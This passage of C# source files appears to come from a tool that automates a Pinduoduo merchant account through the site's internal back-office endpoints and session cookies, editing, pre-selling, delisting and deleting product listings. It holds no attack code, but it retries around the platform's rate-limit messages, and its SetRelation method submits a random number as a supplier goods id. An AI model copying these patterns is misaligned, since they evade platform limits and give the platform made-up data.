+ ",\"pid\":" + r.goods_property_list[i].ref_pid + ",\"vid\":" + r.goods_property_list[i].vid
+ ",\"value\":\"" + r.goods_property_list[i].vvalue + "\",\"value_unit\":\"" + r.goods_property_list[i].punit + "\"}";
}
api.Data.Add("goods_properties", "[" + code.Substring(1) + "]");
}
if (Shop.SignErrorTimes.ContainsKey(DateTime.Now.ToString("yyyy-MM-dd")) && Shop.SignErrorTimes[DateTime.Now.ToString("yyyy-MM-dd")] > 3)
return;
string html = api.Updata();
string error_msg = BaseRegex.GetStringJson(ref html, "error_msg") + BaseRegex.GetStringJson(ref html, "sub_msg");
if (!string.IsNullOrEmpty(error_msg) && error_msg.Contains("频繁"))
{
Thread.Sleep(6000);
html = api.Updata();
error_msg = BaseRegex.GetStringJson(ref html, "error_msg") + BaseRegex.GetStringJson(ref html, "sub_msg");
}
TaobaoProductBase t = new TaobaoProductBase();
t.GoodsId = Pid;
t.Titlte = title;
t.Price = price/100m;
if (string.IsNullOrEmpty(error_msg))
{
t.Message = "修改成功";
SetRelation(Pid, ref r, ref Shop);
}
else
{
if (KeepAll)
{
html = new PinduoduoApiGetProduct(Shop).SetOnline(r.goods_id, true);
Thread.Sleep(5 * 1000);
}
t.Message = error_msg;
}
UploadPinduoduoMain.ProductReplaceTemp.Add(t);
}
public void SetAdvanceSale()
{
GetProductDetail ge = new GetProductDetail(Shop, Name);
var r = ge.Get(Pid);
if (r == null)
{
LogSave.Add(Name, "获取失败,店铺:" + Shop.ShopName + " ID:" + Pid);
return;
}
long pre_sale_time = BaseRegex.GetLongJson(ref ge.Html, "pre_sale_time");
//if (pre_sale_time > BaseClass.GetTime(DateTime.Now))
//{
// LogSave.Add(Name, "已经设置跳过:" + Shop.ShopName + " ID:" + Pid);
// TaobaoProductBase tt = new TaobaoProductBase();
// tt.GoodsId = Pid;
// tt.Titlte = Title;
// tt.Message = "已设置跳过";
// UploadPinduoduoMain.ProductReplaceTemp.Add(tt);
// return;
//}
string imageString = "", apiContentString = "";
for (int i = 0; i < r.carousel_gallery_list.Count; i++)
{
imageString += ",\"" + r.carousel_gallery_list[i] + "\"";
}
for (int i = 0; i < r.detail_gallery_list.Count; i++)
{
apiContentString += ",\"" + r.detail_gallery_list[i] + "\"";
}
int maxPriceNew = 0, maxPriceOnline = 0;
//生成新的价格
for (int i = 0; i < r.sku_list.Count; i++)
{
if (maxPriceNew < r.sku_list[i].multi_price)
maxPriceNew = r.sku_list[i].multi_price;
if (maxPriceOnline < r.sku_list[i].price)
maxPriceOnline = r.sku_list[i].price;
}
bool userShield = false;
decimal dd = PinduoduoCatList.GetPriceSpace(r.cat_id) * 10;
for (int i = 0; i < r.sku_list.Count; i++) // 二级护盾
{
if (r.sku_list[i].multi_price < maxPriceNew / dd * 10)
{
r.sku_list[i].multi_price = (int)(maxPriceNew / dd * 10);
}
if (r.sku_list[i].price < maxPriceOnline / dd * 10)
{
r.sku_list[i].price = (int)(maxPriceOnline / dd * 10 + 100);
}
}
string skuApiStringNew = "";
int price = int.MaxValue;
for (int i = 0; i < r.sku_list.Count; i++)
{
if (price > r.sku_list[i].multi_price)
price = r.sku_list[i].multi_price;
string spec = "";
for (int j = 0; j < r.sku_list[i].spec.Count; j++)
spec += "," + r.sku_list[i].spec[j].spec_id;
if (!string.IsNullOrEmpty(spec))
spec = spec.Substring(1);
skuApiStringNew += ",{\"is_onsale\":" + r.sku_list[i].is_onsale + ",\"limit_quantity\":" + r.sku_list[i].limit_quantity +
",\"price\":\"" + r.sku_list[i].price + "\",\"weight\":1000,\"multi_price\":\"" + r.sku_list[i].multi_price
+ "\",\"thumb_url\":\"" + r.sku_list[i].thumb_url + "\",\"out_sku_sn\":\"" + r.sku_list[i].out_sku_sn +
"\",\"quantity\":" + r.sku_list[i].quantity + ",\"spec_id_list\":\"[" + spec + "]\"}";
}
r.goods_name = BaseClass.SubCharLength(r.goods_name, 60);
foreach (string noWord in NoWords)
{
if (r.goods_name.Contains(noWord))
r.goods_name = r.goods_name.Replace(noWord, "");
if (r.goods_desc.Contains(noWord))
r.goods_desc = r.goods_desc.Replace(noWord, "");
}
r.goods_desc = BaseRegex.Clear(r.goods_desc, "");
string title;
if (!string.IsNullOrEmpty(Title))
title = Title;
else
title = r.goods_name.Replace("\",\"", "");
r.cat_id = PinduoduoCatList.GetNewCat3(r.cat_id);
var api = new PinduoduoApiGetProduct(Shop);
if (BaseRegex.GetIntJson(ref ge.Html, "fabric_content_id") > 0)
{
api.Data.Add("fabric", BaseRegex.GetIntJson(ref ge.Html, "fabric_id").ToString());
api.Data.Add("fabric_content", BaseRegex.GetIntJson(ref ge.Html, "fabric_content_id").ToString());
}
if (r.shelf_life > 0)
{
api.Data.Add("shelf_life", r.shelf_life.ToString());
api.Data.Add("start_production_date", r.start_production_date.ToString());
api.Data.Add("end_production_date", r.end_production_date.ToString());
}
if (BaseRegex.GetIntJson(ref ge.Html, "paper_width") > 0)
{
api.Data.Add("paper_net_weight", BaseRegex.GetIntJson(ref ge.Html, "paper_net_weight").ToString());
api.Data.Add("paper_length", BaseRegex.GetIntJson(ref ge.Html, "paper_length").ToString());
api.Data.Add("paper_width", BaseRegex.GetIntJson(ref ge.Html, "paper_width").ToString());
api.Data.Add("paper_plies_num", BaseRegex.GetIntJson(ref ge.Html, "paper_plies_num").ToString());
}
if (r.goods_property_list.Count > 0)
{
string code = "";
for (int i = 0; i < r.goods_property_list.Count; i++)
{
code +=
",{\"template_pid\":" + r.goods_property_list[i].template_pid + ",\"template_module_id\":" + r.goods_property_list[i].vid
+ ",\"pid\":" + r.goods_property_list[i].ref_pid + ",\"vid\":" + r.goods_property_list[i].vid
+ ",\"value\":\"" + r.goods_property_list[i].vvalue + "\",\"value_unit\":\"" + r.goods_property_list[i].punit + "\"}";
}
api.Data.Add("goods_properties", "[" + code.Substring(1) + "]");
}
ProductCollectBase pb = new ProductCollectBase();
int Cat1 = 0;
if(PinduoduoCatList.CatIds.ContainsKey(r.cat_id))
Cat1 = PinduoduoCatList.CatIds[r.cat_id].cat1;
string mustCode = "";
string properties = UploadPinduoduoProperties.GetNew(r.cat_id, Cat1, ref pb, ref Shop, out mustCode);
if (!string.IsNullOrEmpty(properties) && !api.Data.ContainsKey("goods_properties"))
{
api.Data.Add("goods_properties", "[" + properties.Substring(1) + "]");
}
r.tiny_name = r.tiny_name.Replace("【", "")
.Replace("】", "")
.Replace("!", "")
.Replace(" ", "")
.Replace("!", "");
if (r.tiny_name.Length > 10)
r.tiny_name = r.tiny_name.Substring(0, 10);
api.Data.Add("goods_id", Pid.ToString());
api.Data.Add("goods_name", title.Replace("\",\"",""));
api.Data.Add("goods_type", r.goods_type.ToString());
api.Data.Add("goods_desc", r.goods_desc);
api.Data.Add("cat_id", r.cat_id.ToString());
api.Data.Add("tiny_name", r.tiny_name);
api.Data.Add("country_id", r.country_id.ToString());
api.Data.Add("market_price", r.market_price.ToString());
api.Data.Add("is_pre_sale", SetNewTitle.ToString());
api.Data.Add("pre_sale_time", endAdvanceTime.ToString());
api.Data.Add("shipment_limit_second", r.shipment_limit_second.ToString());
api.Data.Add("cost_template_id", Shop.ExpressId.ToString());
api.Data.Add("customer_num", r.customer_num.ToString());//团购人数
if (!UploadPinduoduoMain.limitCount)
{
api.Data.Add("buy_limit", r.buy_limit.ToString());
api.Data.Add("order_limit", r.order_limit.ToString());
}
api.Data.Add("is_refundable", r.is_refundable == 1 ? "true" : "false");
api.Data.Add("second_hand", r.second_hand == 1 ? "true" : "false");
api.Data.Add("is_folt", r.is_folt == 1 ? "true" : "false");
api.Data.Add("sku_list", "[" + skuApiStringNew.Substring(1) + "]");
api.Data.Add("out_goods_id", r.outer_goods_id);
api.Data.Add("hd_thumb_url", r.hd_thumb_url);
api.Data.Add("thumb_url", r.thumb_url);
api.Data.Add("image_url", r.image_url);
api.Data.Add("carousel_gallery", "[" + imageString.Substring(1) + "]");
api.Data.Add("detail_gallery", "[" + apiContentString.Substring(1) + "]");
if (Shop.SignErrorTimes.ContainsKey(DateTime.Now.ToString("yyyy-MM-dd")) && Shop.SignErrorTimes[DateTime.Now.ToString("yyyy-MM-dd")] > 3)
return;
string html = api.Updata();
Thread.Sleep(5*1000);
string error_msg = BaseRegex.GetStringJson(ref html, "error_msg") + BaseRegex.GetStringJson(ref html, "sub_msg");
if (!string.IsNullOrEmpty(error_msg) && error_msg.Contains("频繁"))
{
Thread.Sleep(10000);
html = api.Updata();
error_msg = BaseRegex.GetStringJson(ref html, "error_msg") + BaseRegex.GetStringJson(ref html, "sub_msg");
}
if (!string.IsNullOrEmpty(error_msg) && error_msg.Contains("频繁"))
{
Thread.Sleep(30000);
html = api.Updata();
error_msg = BaseRegex.GetStringJson(ref html, "error_msg") + BaseRegex.GetStringJson(ref html, "sub_msg");
}
TaobaoProductBase t = new TaobaoProductBase();
t.GoodsId = Pid;
t.Titlte = title;
t.Price = price / 100m;
if (string.IsNullOrEmpty(error_msg))
{
t.Message = "设置成功";
SetRelation(Pid, ref r, ref Shop);
}
else
{
if (UploadPinduoduoMain.SaleSetFalseDown)
{
api = new PinduoduoApiGetProduct(Shop);
api.SetOnline(Pid, false);
error_msg = "设置预售失败自动下架";
}
if (KeepAll)
{
html = new PinduoduoApiGetProduct(Shop).SetOnline(r.goods_id, true);
Thread.Sleep(5 * 1000);
}
t.Message = error_msg;
}
LogSave.Add(Name,"ID:"+ Pid+":"+ t.Message);
UploadPinduoduoMain.ProductReplaceTemp.Add(t);
}
public bool SetAdvanceSaleNew()
{
GetProductDetail ge = new GetProductDetail(Shop, Name);
var r = ge.Get(Pid);
if (r == null)
{
Thread.Sleep(2000);
r = ge.Get(Pid);
}
if (r == null)
{
LogSave.Add(Name, "获取失败,店铺:" + Shop.ShopName + " ID:" + Pid);
return false;
}
long pre_sale_time = BaseRegex.GetLongJson(ref ge.Html, "pre_sale_time");
string imageString = "", apiContentString = "";
for (int i = 0; i < r.carousel_gallery_list.Count; i++)
{
imageString += ",\"" + r.carousel_gallery_list[i] + "\"";
}
for (int i = 0; i < r.detail_gallery_list.Count; i++)
{
apiContentString += ",\"" + r.detail_gallery_list[i] + "\"";
}
int maxPriceNew = 0, maxPriceOnline = 0;
//生成新的价格
for (int i = 0; i < r.sku_list.Count; i++)
{
if (maxPriceNew < r.sku_list[i].multi_price)
maxPriceNew = r.sku_list[i].multi_price;
if (maxPriceOnline < r.sku_list[i].price)
maxPriceOnline = r.sku_list[i].price;
}
string skuApiStringNew = "";
int price = int.MaxValue;
for (int i = 0; i < r.sku_list.Count; i++)
{
if (price > r.sku_list[i].multi_price)
price = r.sku_list[i].multi_price;
string spec = "";
for (int j = 0; j < r.sku_list[i].spec.Count; j++)
spec += "," + r.sku_list[i].spec[j].spec_id;
if (!string.IsNullOrEmpty(spec))
spec = spec.Substring(1);
skuApiStringNew += ",{\"is_onsale\":" + r.sku_list[i].is_onsale + ",\"limit_quantity\":" + r.sku_list[i].limit_quantity +
",\"price\":\"" + r.sku_list[i].price + "\",\"weight\":1000,\"multi_price\":\"" + r.sku_list[i].multi_price
+ "\",\"thumb_url\":\"" + r.sku_list[i].thumb_url + "\",\"out_sku_sn\":\"" + r.sku_list[i].out_sku_sn +
"\",\"quantity\":" + r.sku_list[i].quantity + ",\"spec_id_list\":\"[" + spec + "]\"}";
}
r.goods_name = BaseClass.SubCharLength(r.goods_name, 60);
foreach (string noWord in NoWords)
{
if (r.goods_name.Contains(noWord))
r.goods_name = r.goods_name.Replace(noWord, "");
if (r.goods_desc.Contains(noWord))
r.goods_desc = r.goods_desc.Replace(noWord, "");
}
r.goods_desc = BaseRegex.Clear(r.goods_desc, "");
string title;
if (!string.IsNullOrEmpty(Title))
title = Title;
else
title = r.goods_name.Replace("\",\"", "");
r.cat_id = PinduoduoCatList.GetNewCat3(r.cat_id);
var api = new PinduoduoApiGetProduct(Shop);
if (BaseRegex.GetIntJson(ref ge.Html, "fabric_content_id") > 0)
{
api.Data.Add("fabric", BaseRegex.GetIntJson(ref ge.Html, "fabric_id").ToString());
api.Data.Add("fabric_content", BaseRegex.GetIntJson(ref ge.Html, "fabric_content_id").ToString());
}
if (r.shelf_life > 0)
{
api.Data.Add("shelf_life", r.shelf_life.ToString());
api.Data.Add("start_production_date", r.start_production_date.ToString());
api.Data.Add("end_production_date", r.end_production_date.ToString());
}
if (BaseRegex.GetIntJson(ref ge.Html, "paper_width") > 0)
{
api.Data.Add("paper_net_weight", BaseRegex.GetIntJson(ref ge.Html, "paper_net_weight").ToString());
api.Data.Add("paper_length", BaseRegex.GetIntJson(ref ge.Html, "paper_length").ToString());
api.Data.Add("paper_width", BaseRegex.GetIntJson(ref ge.Html, "paper_width").ToString());
api.Data.Add("paper_plies_num", BaseRegex.GetIntJson(ref ge.Html, "paper_plies_num").ToString());
}
if (r.goods_property_list.Count > 0)
{
string code = "";
for (int i = 0; i < r.goods_property_list.Count; i++)
{
code +=
",{\"template_pid\":" + r.goods_property_list[i].template_pid + ",\"template_module_id\":" + r.goods_property_list[i].vid
+ ",\"pid\":" + r.goods_property_list[i].ref_pid + ",\"vid\":" + r.goods_property_list[i].vid
+ ",\"value\":\"" + r.goods_property_list[i].vvalue + "\",\"value_unit\":\"" + r.goods_property_list[i].punit + "\"}";
}
api.Data.Add("goods_properties", "[" + code.Substring(1) + "]");
}
ProductCollectBase pb = new ProductCollectBase();
int Cat1 = 0;
if (PinduoduoCatList.CatIds.ContainsKey(r.cat_id))
Cat1 = PinduoduoCatList.CatIds[r.cat_id].cat1;
string mustCode = "";
string properties = UploadPinduoduoProperties.GetNew(r.cat_id, Cat1, ref pb, ref Shop, out mustCode);
if (!string.IsNullOrEmpty(properties) && !api.Data.ContainsKey("goods_properties"))
{
api.Data.Add("goods_properties", "[" + properties.Substring(1) + "]");
}
r.tiny_name = r.tiny_name.Replace("【", "")
.Replace("】", "")
.Replace("!", "")
.Replace(" ", "")
.Replace("!", "");
if (r.tiny_name.Length > 10)
r.tiny_name = r.tiny_name.Substring(0, 10);
api.Data.Add("goods_id", Pid.ToString());
api.Data.Add("goods_name", title.Replace("\",\"", ""));
api.Data.Add("goods_type", r.goods_type.ToString());
api.Data.Add("goods_desc", r.goods_desc);
api.Data.Add("cat_id", r.cat_id.ToString());
api.Data.Add("tiny_name", r.tiny_name);
api.Data.Add("country_id", r.country_id.ToString());
api.Data.Add("market_price", r.market_price.ToString());
api.Data.Add("is_pre_sale", SetNewTitle.ToString());
api.Data.Add("pre_sale_time", endAdvanceTime.ToString());
api.Data.Add("shipment_limit_second", r.shipment_limit_second.ToString());
api.Data.Add("cost_template_id", Shop.ExpressId.ToString());
api.Data.Add("customer_num", r.customer_num.ToString());//团购人数
if (!UploadPinduoduoMain.limitCount)
{
api.Data.Add("buy_limit", r.buy_limit.ToString());
api.Data.Add("order_limit", r.order_limit.ToString());
}
api.Data.Add("is_refundable", r.is_refundable == 1 ? "true" : "false");
api.Data.Add("second_hand", r.second_hand == 1 ? "true" : "false");
api.Data.Add("is_folt", r.is_folt == 1 ? "true" : "false");
api.Data.Add("sku_list", "[" + skuApiStringNew.Substring(1) + "]");
api.Data.Add("out_goods_id", r.outer_goods_id);
api.Data.Add("hd_thumb_url", r.hd_thumb_url);
api.Data.Add("thumb_url", r.thumb_url);
api.Data.Add("image_url", r.image_url);
api.Data.Add("carousel_gallery", "[" + imageString.Substring(1) + "]");
api.Data.Add("detail_gallery", "[" + apiContentString.Substring(1) + "]");
if (Shop.SignErrorTimes.ContainsKey(DateTime.Now.ToString("yyyy-MM-dd")) && Shop.SignErrorTimes[DateTime.Now.ToString("yyyy-MM-dd")] > 3)
return false;
api.FromWeiDian = true;
string html = api.UpdataNew();
if (!string.IsNullOrEmpty(html) && (html.Contains("当前运费模板已绑定商品数超过限制,请更换运费模板") || html.Contains("请选择配送地区")))
{
Shop.ExpressId = new UpdatePinduoduoExpressSet().GetRandx(Shop.Cookies, Shop.MallId, Shop);
if (Shop.ExpressId == 0)
{
Thread.Sleep(10000);
Shop.ExpressId = new UpdatePinduoduoExpressSet().GetRandx(Shop.Cookies, Shop.MallId, Shop);
}
if (Shop.ExpressId == 0)
{
LogSave.Add(Name, "未找到新运费模板");
Shop.Message = "运费模板超过商品数限制,请设置新的运费模板";
UploadPinduoduoMain.ShopTemp.Add(Shop);
return false;
}
api.Data.Remove("cost_template_id");
api.Data["cost_template_id"] = Shop.ExpressId.ToString();
html = api.AddNew();
}
Thread.Sleep(5 * 1000);
string error_msg = BaseRegex.GetStringJson(ref html, "error_msg") + BaseRegex.GetStringJson(ref html, "sub_msg");
if (!string.IsNullOrEmpty(error_msg) && error_msg.Contains("频繁"))
{
Thread.Sleep(10000);
html = api.UpdataNew();
error_msg = BaseRegex.GetStringJson(ref html, "error_msg") + BaseRegex.GetStringJson(ref html, "sub_msg");
}
if (!string.IsNullOrEmpty(error_msg) && error_msg.Contains("频繁"))
{
Thread.Sleep(30000);
html = api.UpdataNew();
error_msg = BaseRegex.GetStringJson(ref html, "error_msg") + BaseRegex.GetStringJson(ref html, "sub_msg");
}
TaobaoProductBase t = new TaobaoProductBase();
t.GoodsId = Pid;
t.Titlte = title;
t.Price = price / 100m;
if (string.IsNullOrEmpty(error_msg))
{
t.Message = "设置成功";
//SetRelation(Pid, ref r, ref Shop);
var ad = AdvanceSale.dic[Shop.ShopName];
ad.SetSuccess = ++ad.SetSuccess;
if (SetNewTitle)
{
ad.PreCount = ++ad.PreCount;
}
else
{
ad.PreCount = --ad.PreCount;
if (ad.PreCount < 0)
{
ad.PreCount = 0;
}
}
AdvanceSale.AdvanceList.Add(ad);
}
else
{
if (AdvanceSale.SaleSetFalseDown && !error_msg.Contains("签名验证失败"))
{
api = new PinduoduoApiGetProduct(Shop);
string htmlx = api.SetOnline(Pid, false);
error_msg = "设置预售失败自动下架:" + error_msg;
if (htmlx.Contains("false"))
htmlx = api.SetOnline(Pid, false);
var ad = AdvanceSale.dic[Shop.ShopName];
ad.DownSuccess = ++ad.DownSuccess;
ad.DownCount = ++ad.DownCount;
AdvanceSale.AdvanceList.Add(ad);
}
else
{
var ad = AdvanceSale.dic[Shop.ShopName];
ad.status = error_msg;
AdvanceSale.AdvanceList.Add(ad);
}
if (KeepAll)
{
html = new PinduoduoApiGetProduct(Shop).SetOnline(r.goods_id, true);
Thread.Sleep(5 * 1000);
}
t.Message = error_msg;
}
LogSave.Add(Name, "ID:" + Pid + ":" + t.Message);
if (error_msg.Contains("签名验证失败"))
{
var ad = AdvanceSale.dic[Shop.ShopName];
ad.status = "签名验证失败,请检查授权";
AdvanceSale.AdvanceList.Add(ad);
return false;
}
return true;
}
public static void SetRelation(long id,ref ProductDetailBase r,ref ShopChatBase shop)
{
decimal maxPriceNewx = 0, minPriceNewx = Decimal.MaxValue;
//生成新的价格
for (int i = 0; i < r.sku_list.Count; i++)
{
if (maxPriceNewx < r.sku_list[i].multi_price)
maxPriceNewx = r.sku_list[i].multi_price;
if (minPriceNewx > r.sku_list[i].multi_price)
minPriceNewx = r.sku_list[i].multi_price;
}
var api = new PinduoduoApiGetProduct(shop);
long upid = 0;
string html = api.GetRelation(r.goods_id.ToString());
// 有获取到对应的上家id
if (html.Contains("out_goods_id") && html.Contains("out_goods_platform"))
{
upid = BaseRegex.GetLongJson(ref html, "out_goods_id");
html = api.Relation(r.goods_id, upid, (int)(minPriceNewx * 0.94m), (int)(maxPriceNewx * 0.94m), 0, 0);
}
else
{
int fromSite = 0;
if (upid == 0)
upid = Randomx.GetId(100000, 9999999) * (long)Randomx.GetId(10, 99999);
html = api.Relation(id, upid, (int)(minPriceNewx * 0.95m), (int)(maxPriceNewx * 0.95m), 0, fromSite);
}
}
}
}
+69
View File
@@ -0,0 +1,69 @@
using System.Collections.Generic;
using System.IO;
using System.Text;
using System.Threading;
using AllBase;
namespace Work.Api
{
public class CatListPinduoduo
{
public static Dictionary<int, KeyValuesBase> CatIds = new Dictionary<int, KeyValuesBase>();
public ShopChatBase Shop = null;
public void Get()
{
string cookies = Shop == null ? "" : Shop.Cookies;
string url = "https://mms.pinduoduo.com/earth/api/mallInfo/catList?{}";
string refere = "https://mms.pinduoduo.com/Pdd.html";
string html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, "", cookies);
if (!Directory.Exists("temp"))
Directory.CreateDirectory("temp");
string dir = "temp/cat_pinduoduo";
if (!Directory.Exists(dir))
Directory.CreateDirectory(dir);
var m = BaseRegex.GetMatchRegex(ref html, @"""id"":([\d]+),""name"":""([^']+?)""");
for (int i = 0; m != null && i < m.Count; i++)
{
int id = int.Parse(m[i].Groups[1].Value);
string name = m[i].Groups[2].Value;
string file = dir + "/" + id + ".tjm";
if (FileBase.Exists(file))
html = FileBase.ReadAllText(file, Encoding.Default);
else
{
url = "https://mms.pinduoduo.com/vodka/v2/mms/categories?parentId=" + id;
html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, "", cookies);
if (!string.IsNullOrEmpty(html))
FileBase.WriteAllText(file, html, Encoding.Default);
}
var mm = BaseRegex.GetMatchRegex(ref html,
@"""cat_id_1"":([\d]+),""cat_id_2"":([\d]+),""cat_id_3"":([\d]+)");
for (int j = 0; mm != null && j < mm.Count; j++)
{
int id2 = int.Parse(mm[j].Groups[2].Value);
file = dir + "/" + id2 + ".tjm";
if (FileBase.Exists(file))
html = FileBase.ReadAllText(file, Encoding.Default);
else
{
url = "https://mms.pinduoduo.com/vodka/v2/mms/categories?parentId=" + id2;
html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, "", cookies);
if (!string.IsNullOrEmpty(html))
FileBase.WriteAllText(file, html, Encoding.Default);
Thread.Sleep(500);
}
var mmm = BaseRegex.GetMatchRegex(ref html,
@"""cat_id_1"":([\d]+),""cat_id_2"":([\d]+),""cat_id_3"":([\d]+)");
for (int k = 0; mmm != null && k < mmm.Count; k++)
{
int id3 = int.Parse(mmm[k].Groups[3].Value);
if (CatIds.ContainsKey(id3))
continue;
CatIds.Add(id3, new KeyValuesBase(id.ToString(), id.ToString(), id2.ToString(), id3.ToString()));
}
}
}
}
}
}
+146
View File
@@ -0,0 +1,146 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Work.Api
{
public class CatTemplateBase
{
public OpenApiResponseBase open_api_response = new OpenApiResponseBase();
}
public class OpenApiResponseBase
{
/// <summary>
/// 模板允许的最大的自定义规格数量
/// </summary>
public int? input_max_spec_num = 0;
/// <summary>
/// 为true时限定规格要么全选要么全不选
/// </summary>
public bool? choose_all_qualify_spec = false;
/// <summary>
/// 单个自定义规格值上限
/// </summary>
public int? single_spec_value_num = 0;
/// <summary>
/// 最大sku数目上限
/// </summary>
public int? max_sku_num = 0;
public List<PropertiesBase> properties = new List<PropertiesBase>();
}
public class PropertiesBase
{
public int? id = 0;
public string name_alias = "";
public string name = "";
/// <summary>
/// 属性值单位
/// </summary>
public string value_unit = "";
/// <summary>
/// 小数点允许最大精度,为0时代表不允许输入小数
/// </summary>
public int? value_precision = 0;
public string max_value = "";
public string min_value = "";
/// <summary>
/// 是否必填
/// </summary>
public bool? required = false;
/// <summary>
/// 0-可输入、1-可勾选、3-可输入又可勾选
/// </summary>
public int? control_type = 0;
/// <summary>
/// 0-文本、1-数值、4-绝对时间、5-相对时间
/// </summary>
public int? value_type = 0;
/// <summary>
/// 允许的最大的自定义规格数量
/// </summary>
public int? choose_max_num = 0;
/// <summary>
/// 最大可输入数目,为0时代表不可输入
/// </summary>
public int? input_max_num = 0;
/// <summary>
/// 父属性id
/// </summary>
public int? parent_id = 0;
/// <summary>
/// 是否销售属性
/// </summary>
public bool? is_sale = false;
public bool? can_note = false;
/// <summary>
/// 销售属性规格id,非销售属性为null
/// </summary>
public long? spec_id = 0;
/// <summary>
/// 0普通,1颜色,2尺码
/// </summary>
public int? feature = 0;
/// <summary>
/// 是否父属性
/// </summary>
public bool? is_parent = false;
/// <summary>
/// 引用属性id
/// </summary>
public int? ref_pid = 0;
/// <summary>
/// 是否按条件展示
/// </summary>
public bool? is_condition_show = false;
/// <summary>
/// 只有show_vids中的值被选择时属性才可使用
/// </summary>
public List<int> show_vids = new List<int>();
/// <summary>
/// 属性值列表
/// </summary>
public List<PropertiesValuesBase> values = new List<PropertiesValuesBase>();
}
public class PropertiesValuesBase
{
/// <summary>
/// 基础属性值id
/// </summary>
public int? vid = 0;
/// <summary>
/// 属性值
/// </summary>
public string value = "";
/// <summary>
/// 扩展信息,颜色的话色号在这里,ARGB,非销售属性为null
/// </summary>
public string extend_info = "";
/// <summary>
/// 规格id,非销售属性为null
/// </summary>
public long? spec_id = 0;
/// <summary>
/// 是否父属性值
/// </summary>
public bool? is_parent = false;
/// <summary>
/// 对应的父属性值id
/// </summary>
public List<int> parent_vids = new List<int>();
/// <summary>
/// 分组信息
/// </summary>
public PropertiesGroupBase group = new PropertiesGroupBase();
}
public class PropertiesGroupBase
{
public int? id = 0;
public string name = "";
}
}
+61
View File
@@ -0,0 +1,61 @@
/*
* 删除已驳回
*
*/
using System.Threading;
using AllBase;
namespace Work.Api
{
public class DeleteRejectProduct
{
public ShopChatBase Shop;
public DeleteRejectProduct(ShopChatBase shop)
{
Shop = shop;
}
public void Get()
{
int al = 1,count =1;
while (true)
{
string url = "https://mms.pinduoduo.com/glide/v2/mms/query/commit/list";
string data = "{\"start\":0,\"length\":15,\"check_status\":3}";
string refere = "https://mms.pinduoduo.com/Pdd.html";
string html = GetPostTaobaoHtml.JsonPinduoduoUpload(url, refere, true, data, Shop.Cookies);
var m = BaseRegex.GetMatchRegex(ref html, @"\{""id"":([\d]+),");
if (m == null || m.Count == 0)
break;
for (int i = 0; i < m.Count; i++)
{
string id = m[i].Groups[1].Value;
url = "https://mms.pinduoduo.com/glide/v2/mms/edit/commit/" + id + "/delete";
html = GetPostTaobaoHtml.JsonPinduoduoUpload(url, refere, true, "{}", Shop.Cookies);
Thread.Sleep(300);
}
}
while (true)
{
string url = "https://mms.pinduoduo.com/glide/v2/mms/query/commit/list";
string data = "{\"start\":0,\"length\":15,\"check_status\":0}";
string refere = "https://mms.pinduoduo.com/Pdd.html";
string html = GetPostTaobaoHtml.JsonPinduoduoUpload(url, refere, true, data, Shop.Cookies);
var m = BaseRegex.GetMatchRegex(ref html, @"\{""id"":([\d]+),");
if (m == null || m.Count == 0)
return;
for (int i = 0; i < m.Count; i++)
{
string id = m[i].Groups[1].Value;
url = "https://mms.pinduoduo.com/glide/v2/mms/edit/commit/" + id + "/delete";
html = GetPostTaobaoHtml.JsonPinduoduoUpload(url, refere, true, "{}", Shop.Cookies);
Thread.Sleep(300);
}
}
}
}
}
+220
View File
@@ -0,0 +1,220 @@
using System.Threading;
using AllBase;
using System;
using Work.CollectClass;
using JavaScriptEngineSwitcher.Core;
using JavaScriptEngineSwitcher.V8;
namespace Work.Api
{
public class DownUpProductExploder
{
public string Name;
public bool SetOn;
public string GoodsId;
public string Cookies = "";
public ShopChatBase Shop;
public DownUpProductExploder(string name, bool setOn, string goodsId)
{
Name = name;
SetOn = setOn;
GoodsId = goodsId;
}
public void Get()
{
string data = "{\"goodsIds\":[" + GoodsId + "]}";
string urlx = "https://mms.pinduoduo.com/vodka/v2/mms/batchOffSale";
string refere = "https://mms.pinduoduo.com/Pdd.html";
string html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Cookies);
if (html.Contains("{\"success\":true"))
{
string[] l = GoodsId.Split(',');
foreach (string s in l)
{
var good = Shop.OnlineProduct.Find(p => p.GoodsId == long.Parse(s));
good.Message = "下架成功";
UploadPinduoduoMain.ProductReplaceTemp.Add(good);
LogSave.Add(Name, "下架产品成功:" + s);
}
return;
}
if (html.Contains("手速太快了"))
{
LogSave.Add(Name, "手速太快了,休眠30秒后,继续执行");
Thread.Sleep(30*1000);
string[] l = GoodsId.Split(',');
urlx = "https://mms.pinduoduo.com/vodka/v2/mms/pc/offSale";
for (int i = 0; i < l.Length; i++)
{
data = "{\"goodsId\":"+l[i]+"}";
html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Cookies);
var good = Shop.OnlineProduct.Find(p => p.GoodsId == long.Parse(l[i]));
if (good != null)
{
good.Message = "下架成功";
UploadPinduoduoMain.ProductReplaceTemp.Add(good);
}
Thread.Sleep(3*1000);
LogSave.Add(Name, "下架产品成功:" + l[i]);
if(!html.Contains("success"))
Thread.Sleep(60*1000);
}
//html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Cookies);
}
if (string.IsNullOrEmpty(html) || html.Contains("过于频繁"))
{
Thread.Sleep(30 * 1000);
html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Cookies);
if (string.IsNullOrEmpty(html) || html.Contains("过于频繁"))
{
Thread.Sleep(90 * 1000);
html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Cookies);
}
if (!string.IsNullOrEmpty(html) && html.Contains("过于频繁"))
{
LogSave.Add(Name, "速度太快,休眠2-5分钟");
}
else
{
LogSave.Add(Name, html);
}
}
else
{
string[] l = GoodsId.Split(',');
foreach (string s in l)
{
var good= Shop.OnlineProduct.Find(p => p.GoodsId == long.Parse(s));
good.Message = "下架成功";
UploadPinduoduoMain.ProductReplaceTemp.Add(good);
LogSave.Add(Name, "下架产品成功:" + s);
}
}
}
public void Up()
{
string data = "{\"goodsIds\":[" + GoodsId + "]}";
string urlx = "https://mms.pinduoduo.com/vodka/v2/mms/batchOnSale";
string refere = "https://mms.pinduoduo.com/Pdd.html";
string html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, Cookies);
if (!string.IsNullOrEmpty(html) && html.Contains("{\"success\":true"))
{
string[] l = GoodsId.Split(',');
